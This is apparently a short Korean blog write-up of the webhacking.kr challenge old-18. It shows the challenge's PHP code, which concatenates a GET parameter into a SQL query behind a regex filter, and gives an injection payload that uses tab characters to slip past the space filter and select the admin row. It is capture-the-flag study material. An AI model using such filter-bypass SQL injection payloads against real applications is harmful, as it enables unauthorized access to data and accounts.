Study/Hacking
[webhacking.kr] old-18
dys4nt
2023. 6. 14. 17:34
PHP 코드가 주어진다.
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/ |\/|\(|\)|\||&|select|from|0x/i",$_GET['no'])) exit("no hack");
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall18 where id='guest' and no=$_GET[no]")); // admin's no = 2
if($result['id']=="guest") echo "hi guest";
if($result['id']=="admin"){
solve(18);
echo "hi admin!";
}
}
?>
admin의 no가 2이므로 스페이스 필터링은 tab(%09)로 우회하고 or no=2를 붙이자.
payload = /index.php?no=123%09or%09no=2
입력하면 문제가 풀리게 된다.